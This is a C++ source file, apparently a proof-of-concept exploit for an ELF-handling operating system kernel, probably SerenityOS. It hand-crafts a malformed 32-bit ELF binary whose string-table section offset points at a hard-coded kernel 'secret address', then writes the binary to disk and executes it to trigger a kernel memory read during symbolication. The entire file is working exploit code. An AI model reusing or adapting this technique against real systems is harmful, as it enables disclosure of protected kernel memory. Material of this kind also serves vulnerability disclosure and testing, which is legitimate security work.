elf-symbolication-kernel-read-exploit.cpp 2.6 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106
  1. #include <LibELF/exec_elf.h>
  2. #include <fcntl.h>
  3. #include <stdio.h>
  4. #include <string.h>
  5. #include <unistd.h>
  6. asm("haxcode:\n"
  7. "1: jmp 1b\n"
  8. "haxcode_end:\n");
  9. extern "C" void haxcode();
  10. extern "C" void haxcode_end();
  11. int main()
  12. {
  13. char buffer[16384];
  14. auto& header = *(Elf32_Ehdr*)buffer;
  15. header.e_ident[EI_MAG0] = ELFMAG0;
  16. header.e_ident[EI_MAG1] = ELFMAG1;
  17. header.e_ident[EI_MAG2] = ELFMAG2;
  18. header.e_ident[EI_MAG3] = ELFMAG3;
  19. header.e_ident[EI_CLASS] = ELFCLASS32;
  20. header.e_ident[EI_DATA] = ELFDATA2LSB;
  21. header.e_ident[EI_VERSION] = EV_CURRENT;
  22. header.e_ident[EI_OSABI] = ELFOSABI_SYSV;
  23. header.e_ident[EI_ABIVERSION] = 0;
  24. header.e_type = ET_EXEC;
  25. header.e_version = EV_CURRENT;
  26. header.e_ehsize = sizeof(Elf32_Ehdr);
  27. header.e_machine = EM_386;
  28. header.e_shentsize = sizeof(Elf32_Shdr);
  29. header.e_phnum = 1;
  30. header.e_phoff = 52;
  31. header.e_phentsize = sizeof(Elf32_Phdr);
  32. auto* ph = (Elf32_Phdr*)(&buffer[header.e_phoff]);
  33. ph[0].p_vaddr = 0x20000000;
  34. ph[0].p_type = PT_LOAD;
  35. ph[0].p_filesz = sizeof(buffer);
  36. ph[0].p_memsz = sizeof(buffer);
  37. ph[0].p_flags = PF_R | PF_X;
  38. ph[0].p_align = PAGE_SIZE;
  39. header.e_shnum = 3;
  40. header.e_shoff = 1024;
  41. u32 secret_address = 0x00184658;
  42. auto* sh = (Elf32_Shdr*)(&buffer[header.e_shoff]);
  43. sh[0].sh_type = SHT_SYMTAB;
  44. sh[0].sh_offset = 2048;
  45. sh[0].sh_entsize = sizeof(Elf32_Sym);
  46. sh[0].sh_size = 2 * sizeof(Elf32_Sym);
  47. sh[1].sh_type = SHT_STRTAB;
  48. sh[1].sh_offset = secret_address - 0x01001000;
  49. sh[1].sh_entsize = 0;
  50. sh[1].sh_size = 1024;
  51. sh[2].sh_type = SHT_STRTAB;
  52. sh[2].sh_offset = 4096;
  53. sh[2].sh_entsize = 0;
  54. sh[2].sh_size = 1024;
  55. header.e_shstrndx = 2;
  56. auto* sym = (Elf32_Sym*)(&buffer[2048]);
  57. sym[0].st_value = 0x20002000;
  58. sym[0].st_name = 0;
  59. sym[1].st_value = 0x30000000;
  60. sym[1].st_name = 0;
  61. auto* strtab = (char*)&buffer[3072];
  62. strcpy(strtab, "sneaky!");
  63. auto* shstrtab = (char*)&buffer[4096];
  64. strcpy(shstrtab, ".strtab");
  65. auto* code = &buffer[8192];
  66. size_t haxcode_size = (u32)haxcode_end - (u32)haxcode;
  67. printf("memcpy(%p, %p, %zu)\n", code, haxcode, haxcode_size);
  68. memcpy(code, (void*)haxcode, haxcode_size);
  69. header.e_entry = 0x20000000 + 8192;
  70. int fd = open("x", O_RDWR | O_CREAT, 0777);
  71. if (fd < 0) {
  72. perror("open");
  73. return 1;
  74. }
  75. int nwritten = write(fd, buffer, sizeof(buffer));
  76. if (nwritten < 0) {
  77. perror("write");
  78. return 1;
  79. }
  80. if (execl("/home/anon/x", "x", nullptr) < 0) {
  81. perror("execl");
  82. return 1;
  83. }
  84. return 0;
  85. }